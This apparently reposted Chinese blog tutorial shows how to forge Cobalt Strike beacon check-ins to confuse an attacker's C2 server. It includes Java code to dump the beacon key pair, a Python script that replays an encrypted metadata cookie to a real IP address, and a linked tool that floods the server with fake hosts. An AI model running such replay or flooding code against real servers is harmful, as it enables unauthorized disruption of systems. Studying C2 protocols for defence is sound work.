CS反制之批量伪装上线

Posted 番茄酱料

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CS反制之批量伪装上线相关的知识,希望对你有一定的参考价值。

分析原理:
我们利用Wireshark抓包工具分析一下Cobalt Strike的上线过程是怎么样的

点击木马,主机上线并抓包

查看数据包


可以看到cookie是一串非对称RSA加密类型,需要一个私钥Private Key才能对其进行解密
我们对Cookie解密看看,网上找到了相关的代码提取Private Key与Public Key
(注意,实战中我们肯定拿不到Private Key的,这里只是弄出来分析一下加密的Cookie里有啥)
代码如下:
DumpKeys.java:

import java.io.File;
import java.util.Base64;
import common.CommonUtils;
import java.security.KeyPair;

class DumpKeys
   
    public static void main(String[] args)
    
        try 
            File file = new File(".cobaltstrike.beacon_keys");
            if (file.exists()) 
                KeyPair keyPair = (KeyPair)CommonUtils.readObject(file, null);
                System.out.printf("Private Key: %s\\n\\n", new String(Base64.getEncoder().encode(keyPair.getPrivate().getEncoded())));
                System.out.printf("Public Key: %s\\n\\n", new String(Base64.getEncoder().encode(keyPair.getPublic().getEncoded())));
            
            else 
                System.out.println("Could not find .cobaltstrike.beacon_keys file");
            
        
        catch (Exception exception) 
           System.out.println("Could not read asymmetric keys");
        
    


有一个坑点:
代码注意要在JDK11版本下运行。还要把这个java文件放置在CS服务器的CS文件夹下,与“cobaltstrike.jar“同一个目录下。
命令:

java -cp cobaltstrike.jar DumpKeys.java


用rsa网站解密https://the-x.cn/cryptography/Rsa.aspx


可以看到解密出的数据有我们的元数据,HTTP类型Beacon上线包里的Cookie是RSA加密过的主机元数据
既然知道上线的流量过程,那么我们模拟Cobalt Strike模拟重放一下上线的过程
写类似爬虫请求:

import requests

url = "http://185.239.225.205:83/en_US/all.js"

header = 
    "User-Agent" : "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0)",
    "Accept" : "*/*",
    "Cookie" : "FRfwPoK21T48W80c9VZm8C0vw1116g/X6T4nxjYGNqQJquF9Z7M2AS2QDP6yHz+ca7rOpxi0f/fnitfMLVfy/wOwMrHDZdsxpAp2j77425op8AV9DCNYftCVowPrBtSaN4d6q3LBkXXcAbYcD9k/NDRIXB/TrWHu015XmrCibnA=",
    "Connection" : "Keep-Alive",
    "Cache-Control" : "Cache-Control"


r = requests.get(url,headers=header);
print(r.url)
print(r.text)
print(r.headers)
print(r.status_code)



可以看到时间为1s,跟之前的43s比,这是最新的请求,如下:

数据包中的核心是加密后的Cookie,我们进行伪造,达到假的主机上线效果
Stager Url校验算法Beacon配置的解密算法
其实Stager就是小马拉大马的操作,上线的时候先投递一个小巧的Stager Payload,然后通过Stager 去Beacon Staging Server的某个URL下载完整的Stage(也就是体积更大功能更复杂的Payload),并将其注入内存。
(这个URL作为特征也可以用来识别CS服务器,做网络测绘,某Quake就是这么做的)
如何得到那个URL?
CS中Stager URL校验算法,就是生成4位的随机校验码,将校验码拼接到URL后面即可请求到Stage的代码



拿到Stage

Beacon配置解密
这里进行解密操作:
https://github.com/Sentinel-One/CobaltStrikeParser

解密后可以看到:公钥PublicKey以及CS服务器地址
坑点:
Public key别忘了要删点后面的无效Padding正确的格式是MIGfXXXXXXXXXXXXXXXX==也就是说我图中的Public Key 后面那一堆AAAAA要删掉

这里直接使用脚本来解密beacon的publickey
脚本链接:https://github.com/LiAoRJ/CS_fakesubmit
命令:

python3 cs_fakesubmit.py

使用方法:

脚本效果如下:

可以看到成功伪造上线,对攻击者造成大量混乱

这是50次的效果

以上是关于CS反制之批量伪装上线的主要内容,如果未能解决你的问题,请参考以下文章

对正在打野发育的红队同学的一次反制

通信算法之七十六:无人机反制-电磁攻击和火力反制

通信算法之七十六:无人机反制-电磁攻击和火力反制

企业安全之如何在保证业务的同时做好安全

CS云函数及上线提醒

CS云函数及上线提醒